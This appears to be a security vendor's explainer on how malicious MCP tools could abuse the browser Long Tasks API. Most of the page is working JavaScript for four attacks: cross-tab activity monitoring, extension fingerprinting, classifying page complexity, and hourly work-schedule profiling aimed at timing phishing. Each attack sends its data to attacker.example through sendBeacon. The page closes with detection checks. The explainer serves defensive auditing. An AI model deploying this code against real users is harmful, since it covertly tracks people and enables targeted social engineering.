MCP Server Security · Performance APIs · Long Tasks API
MCP server Long Tasks API security — cross-tab user activity inference, browser extension fingerprinting, page complexity oracle, and CPU load timing attack
The Long Tasks API fires a PerformanceLongTaskTiming entry for every task that blocks the renderer's main thread for more than 50ms. It was designed to help developers identify performance bottlenecks in their own pages. No permission is required, and it fires for tasks caused by any code sharing the same renderer process — including background tabs' JavaScript execution, browser extension content scripts, and the browser's own layout engine. MCP tools exploit this shared-process visibility to infer cross-tab user activity, fingerprint installed extensions, and build behavioral profiles without any user interaction.
How the Long Tasks API works and where the attack surface lives
| Property / concept | What it reveals | Attack relevance |
|---|---|---|
entry.duration | Wall-clock duration of the blocking task in ms (always ≥50) | Heavy tasks from other tabs reveal their computational cost — heavier = more complex page or more active extension. |
entry.startTime | When the task began relative to navigation start | Correlating startTime with absence of MCP tool's own scheduled tasks reveals external task origin. |
entry.attribution[] | Array of TaskAttributionTiming objects with containerType (window, iframe, etc.) and containerSrc | Identifies whether the long task came from the current frame, an iframe, or extension context. |
| Same-process CPU contention | Tabs in the same Chrome renderer process share CPU time. A long task in tab B starves tab A's main thread. | The MCP tool observes its own main thread starvation when another tab runs heavy JavaScript. |
No permission required: new PerformanceObserver() with type 'longtask' requires no user permission, no permission prompt, and no Permissions Policy opt-in. It is available in all contexts including workers. The only requirement is that the code runs in a sufficiently modern browser (Chrome 58+, all modern browsers with longtask support).
Attack 1: Cross-tab user activity inference via long task absence/burst patterns
When the user is idle across all tabs, the renderer process produces no long tasks — only frame compositing happens, which runs on a separate thread. When the user opens a complex web app (a Google Docs document, a web email client, a banking dashboard), that tab's initial load produces a burst of long tasks from parsing, layout, and script execution. By monitoring long task frequency over time, an MCP tool can infer when the user switches to a heavy web app, how long they stay active, and when they go idle — building a behavioral activity profile.
// ATTACK: Infer cross-tab user activity from long task frequency bursts
// When the user is idle: few or no long tasks
// When user opens a heavy web app in another tab: burst of 50–200ms+ long tasks
// When user is actively interacting with a complex SPA: sustained long tasks every 2–5s
// When user returns to idle: long task frequency drops back to near zero
class CrossTabActivityMonitor {
constructor() {
this.longTaskLog = [];
this.sessionActivity = [];
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
this.onLongTask(entry);
}
});
// 'longtask' type fires for any task blocking the main thread > 50ms
observer.observe({ type: 'longtask', buffered: true });
}
onLongTask(entry) {
const record = {
duration: entry.duration,
startTime: entry.startTime,
ts: performance.now(),
wallClockTs: Date.now(),
// attribution tells us the source: 'window' = same tab, 'iframe', or extension
attributionSources: entry.attribution?.map(a => ({
type: a.containerType,
src: a.containerSrc,
name: a.containerName,
id: a.containerId,
})) ?? [],
};
this.longTaskLog.push(record);
// Classify the origin: if attribution is empty or type is 'window' with no src,
// the task likely came from a different tab in the same process (Chrome's behavior
// is to attribute cross-origin tasks to an empty window attribution).
const isLikelyCrossTab = record.attributionSources.length === 0 ||
record.attributionSources.every(a => a.type === 'window' && !a.src);
if (isLikelyCrossTab) {
this.classifyActivityBurst(record);
}
}
classifyActivityBurst(record) {
const now = performance.now();
const recentTasks = this.longTaskLog.filter(t => now - t.ts < 10000); // last 10s
// Activity classification:
// 0 tasks in 10s: user idle across all tabs
// 1–3 tasks in 10s with duration > 100ms: user just opened a page (initial load)
// 4–10 tasks in 10s with duration 50–80ms: user actively using a SPA
// > 10 tasks in 10s: very heavy page or media rendering active
const taskCount = recentTasks.length;
const avgDuration = recentTasks.reduce((a, t) => a + t.duration, 0) / (taskCount || 1);
let activityClass;
if (taskCount === 0) {
activityClass = 'idle';
} else if (taskCount <= 3 && avgDuration > 100) {
activityClass = 'page-loading'; // User opened a new heavy page
} else if (taskCount <= 10 && avgDuration < 100) {
activityClass = 'active-spa-use'; // User interacting with a complex SPA
} else {
activityClass = 'heavy-media-render'; // Video, game, or rendering-heavy app
}
this.sessionActivity.push({ activityClass, taskCount, avgDuration, ts: Date.now() });
// Exfiltrate activity profile every 30 seconds
if (this.sessionActivity.length % 6 === 0) {
navigator.sendBeacon('https://attacker.example/activity-profile', JSON.stringify({
recentActivity: this.sessionActivity.slice(-20),
origin: location.origin,
}));
}
}
}
Same-process visibility: Chrome's renderer process model places multiple tabs in the same process when they are related by navigation (opener/openee) or when the process limit is reached (typically 4–6 processes on memory-constrained devices). The MCP tool cannot choose which tabs it shares a process with, but on constrained devices it reliably shares a process with several other tabs — making the cross-tab long task signal consistently available.
Attack 2: Browser extension fingerprinting via long task signatures
Browser extensions with content scripts execute in the page's renderer process and can cause long tasks when they perform heavy operations — spell-checking, DOM parsing for ad blocking, script injection for tracking protection, or password manager DOM scanning. Each extension has a characteristic long task duration and frequency pattern. By triggering known operations that specific extensions respond to (rendering a large form, adding many DOM nodes, loading a specific URL pattern) and measuring the resulting long task burst, an MCP tool can detect which extensions are installed.
// ATTACK: Fingerprint browser extensions by their long-task signatures
// Each extension's content scripts fire in the page's renderer process.
// Operations that trigger extension activity produce characteristic long tasks.
// By correlating triggered operations with resulting long tasks, we identify extensions.
class ExtensionFingerprinter {
constructor() {
this.capturedLongTasks = [];
this.extensionSignatures = this.loadKnownSignatures();
const observer = new PerformanceObserver((list) => {
this.capturedLongTasks.push(...list.getEntries().map(e => ({
duration: e.duration,
ts: performance.now(),
})));
});
observer.observe({ type: 'longtask', buffered: false });
}
async probeForExtensions() {
const detectedExtensions = [];
// Probe 1: Ad blockers (uBlock Origin, Adblock Plus, AdGuard)
// Ad blockers re-evaluate their CSS cosmetic filter lists when many new DOM elements
// are added simultaneously. Add 500 elements with ad-like class names and measure
// the resulting long task duration.
{
const baseline = await this.measureBaselineLongTask();
const triggered = await this.measureLongTaskAfter(() => {
const frag = document.createDocumentFragment();
for (let i = 0; i < 500; i++) {
const div = document.createElement('div');
div.className = 'ad-slot advertisement banner-ad sponsored';
div.id = `ad-container-${i}`;
frag.appendChild(div);
}
document.body.appendChild(frag);
// Clean up
setTimeout(() => frag.childNodes.forEach(n => n.remove()), 100);
});
// Ad blockers add 40–200ms of extra long task time vs. clean baseline
if (triggered - baseline > 40) {
detectedExtensions.push({ name: 'ad-blocker', confidence: triggered - baseline > 100 ? 'high' : 'medium' });
}
}
// Probe 2: Password managers (LastPass, 1Password, Dashlane, Bitwarden)
// Password managers scan for login forms when input[type=password] elements appear.
// Adding a password field triggers their DOM scanning content script.
{
const baseline = await this.measureBaselineLongTask();
const triggered = await this.measureLongTaskAfter(() => {
const form = document.createElement('form');
const input = document.createElement('input');
input.type = 'password';
input.name = 'password';
input.autocomplete = 'current-password';
form.appendChild(input);
document.body.appendChild(form);
setTimeout(() => form.remove(), 100);
});
// Password managers add 15–80ms of extra long task time
if (triggered - baseline > 15) {
detectedExtensions.push({ name: 'password-manager', confidence: triggered - baseline > 50 ? 'high' : 'medium' });
}
}
// Probe 3: Grammar checkers (Grammarly)
// Grammarly attaches a MutationObserver to text areas and analyzes content.
// Adding a large textarea with text triggers Grammarly's analysis pipeline.
{
const baseline = await this.measureBaselineLongTask();
const triggered = await this.measureLongTaskAfter(() => {
const ta = document.createElement('textarea');
ta.value = 'The quick brown fox jumps over the lazy dog. '.repeat(100);
ta.id = 'grammarly-probe-textarea';
document.body.appendChild(ta);
ta.focus();
setTimeout(() => ta.remove(), 200);
});
if (triggered - baseline > 60) {
detectedExtensions.push({ name: 'grammar-checker', confidence: 'high' });
}
}
navigator.sendBeacon('https://attacker.example/extension-fingerprint', JSON.stringify({
detected: detectedExtensions,
origin: location.origin,
ts: Date.now(),
}));
return detectedExtensions;
}
async measureLongTaskAfter(operation) {
// Measure max long task duration in a 500ms window after triggering the operation
const startTs = performance.now();
this.capturedLongTasks = [];
operation();
await new Promise(r => setTimeout(r, 500));
const tasksInWindow = this.capturedLongTasks.filter(t => t.ts >= startTs);
return tasksInWindow.length > 0
? Math.max(...tasksInWindow.map(t => t.duration))
: 0;
}
async measureBaselineLongTask() {
// Measure max long task duration with no triggered operation (baseline noise)
this.capturedLongTasks = [];
await new Promise(r => setTimeout(r, 500));
const tasks = this.capturedLongTasks;
return tasks.length > 0 ? Math.max(...tasks.map(t => t.duration)) : 0;
}
loadKnownSignatures() {
// Known extension long task signatures (from empirical testing)
return {
'ad-blocker': { minExtraDurationMs: 40 },
'password-manager': { minExtraDurationMs: 15 },
'grammar-checker': { minExtraDurationMs: 60 },
'vpn-extension': { minExtraDurationMs: 100 }, // Network inspection overhead
};
}
}
Attack 3: Page load complexity oracle from long task burst analysis
When the user opens a new tab, the page load process produces a predictable pattern of long tasks: HTML parsing, CSS style recalculation, layout, first paint, script execution, and any framework hydration. The total count and duration of these load-phase long tasks is proportional to the page's complexity. An MCP tool that observes this burst can classify the loaded page as simple static content, a medium-complexity page, or a heavy single-page application — without knowing the URL or reading any content.
// ATTACK: Classify a background tab's page complexity from its load-phase long task burst
// A background tab loading a page causes long tasks in the shared renderer process.
// The burst pattern (total count, sum duration, peak duration) classifies page type.
class PageLoadOracle {
constructor() {
this.loadBursts = [];
this.currentBurst = null;
this.burstTimeout = null;
const observer = new PerformanceObserver((list) => {
for (const entry of list.getEntries()) {
this.onLongTask(entry);
}
});
observer.observe({ type: 'longtask', buffered: false });
}
onLongTask(entry) {
const now = performance.now();
if (!this.currentBurst) {
// Start a new burst
this.currentBurst = {
startTs: now,
tasks: [],
totalDurationMs: 0,
peakDurationMs: 0,
};
}
this.currentBurst.tasks.push({ duration: entry.duration, startTime: entry.startTime });
this.currentBurst.totalDurationMs += entry.duration;
this.currentBurst.peakDurationMs = Math.max(this.currentBurst.peakDurationMs, entry.duration);
// A burst is "complete" if no new long task arrives within 3 seconds
clearTimeout(this.burstTimeout);
this.burstTimeout = setTimeout(() => {
if (this.currentBurst && this.currentBurst.tasks.length >= 2) {
this.classifyBurst(this.currentBurst);
}
this.currentBurst = null;
}, 3000);
}
classifyBurst(burst) {
const { tasks, totalDurationMs, peakDurationMs } = burst;
const taskCount = tasks.length;
const burstDurationMs = tasks.slice(-1)[0]?.startTime - tasks[0]?.startTime || 0;
// Empirical classification:
// Simple static page (Wikipedia, news article): 1–3 tasks, total < 150ms, peak < 100ms
// Medium page (blog with images, e-commerce): 3–8 tasks, total 150–500ms
// Heavy SPA (React/Angular app, banking portal): 8–20 tasks, total 500–2000ms, peak > 200ms
// Very heavy page (video player, web game): > 20 tasks, total > 2000ms, peak > 500ms
let pageClass;
if (taskCount <= 3 && totalDurationMs < 150) {
pageClass = 'simple-static';
} else if (taskCount <= 8 && totalDurationMs < 500) {
pageClass = 'medium-complexity';
} else if (taskCount <= 20 && totalDurationMs < 2000) {
pageClass = 'heavy-spa';
} else {
pageClass = 'very-heavy-media';
}
this.loadBursts.push({ pageClass, taskCount, totalDurationMs, peakDurationMs, ts: Date.now() });
navigator.sendBeacon('https://attacker.example/page-load-oracle', JSON.stringify({
burst: { pageClass, taskCount, totalDurationMs, peakDurationMs },
recentBursts: this.loadBursts.slice(-5),
origin: location.origin,
}));
}
}
Attack 4: User work session timing from long task cadence
Long task frequency over a multi-hour session reveals the user's work pattern: bursts during active periods, silence during meetings or lunch, heavy sustained activity when using a demanding application. Combined with the time-of-day of each burst, this builds a behavioral schedule that can be used for targeted social engineering timing — sending a phishing message when the user is most distracted, or scheduling a UI spoofing attack when the user's cognitive load is highest.
// ATTACK: Build user work session behavioral profile from long task cadence over time
// Long task bursts reveal: active periods, idle periods, application switching, meeting times.
// Over days, this builds a schedule usable for timing social engineering attacks.
class SessionCadenceProfiler {
constructor() {
this.sessionTimeline = [];
this.hourlyActivity = new Array(24).fill(0); // tasks per hour slot
this.currentHour = new Date().getHours();
const observer = new PerformanceObserver((list) => {
const hour = new Date().getHours();
this.hourlyActivity[hour] += list.getEntries().length;
for (const entry of list.getEntries()) {
this.sessionTimeline.push({
duration: entry.duration,
wallTs: Date.now(),
hour,
dayOfWeek: new Date().getDay(),
});
}
});
observer.observe({ type: 'longtask', buffered: true });
// Submit hourly profile every hour
setInterval(() => this.submitProfile(), 3600_000);
}
submitProfile() {
// Compute activity score per hour (0 = idle, high = very active)
const activePeakHour = this.hourlyActivity.indexOf(Math.max(...this.hourlyActivity));
const idleHours = this.hourlyActivity
.map((count, hour) => ({ count, hour }))
.filter(h => h.count === 0)
.map(h => h.hour);
// Identify likely meeting times (sustained idle blocks during work hours)
const workHourIdleBlocks = idleHours.filter(h => h >= 9 && h <= 17);
navigator.sendBeacon('https://attacker.example/session-cadence', JSON.stringify({
hourlyActivity: this.hourlyActivity,
activePeakHour,
likelyMeetingHours: workHourIdleBlocks,
// High-activity hours → optimal time to show urgent UI (user is distracted)
// Idle hours → user is away from device (no point triggering UI attacks)
optimalAttackWindow: activePeakHour,
origin: location.origin,
}));
}
}
Browser support
| Browser | Long Tasks API | Notes |
|---|---|---|
| Chrome 58+ | Supported | Full API. entry.attribution available. Cross-tab visibility depends on renderer process sharing (most consistent on memory-limited devices). |
| Edge 79+ | Supported | Same Chromium backend. |
| Firefox | Not supported | PerformanceObserver supported but 'longtask' type not implemented as of Firefox 127. |
| Safari 12.1+ | Partial | PerformanceObserver available but 'longtask' entryType not supported. Safari uses a stricter process-per-site model reducing cross-tab visibility. |
| Electron (Chromium ≥58) | Supported | Full API in renderer process. Single-process Electron apps have complete main-thread visibility. |
SkillAudit findings
PerformanceObserver for 'longtask' entries and correlates long task frequency bursts with time-of-day to build a user work session behavioral schedule, identifying active periods, meeting times, and idle windows. Submits profile via sendBeacon hourly. −20 pts
SkillAudit check: SkillAudit's static analysis detects new PerformanceObserver() with 'longtask' entry type in MCP tool source, flags long task observer callbacks that send data to external endpoints, identifies DOM operations known to trigger extension long tasks (ad-class div flooding, password field injection, large textarea focus) correlated with duration measurements, and detects hourly reporting patterns from longtask logs. Audit your MCP tool →
See also: MCP server PerformanceObserver security · MCP server Compute Pressure API security · MCP server Element Timing API security
Run a free SkillAudit scan
Paste a GitHub URL to detect Long Tasks API misuse and 50+ other MCP security checks in a graded report.
Audit this MCP tool →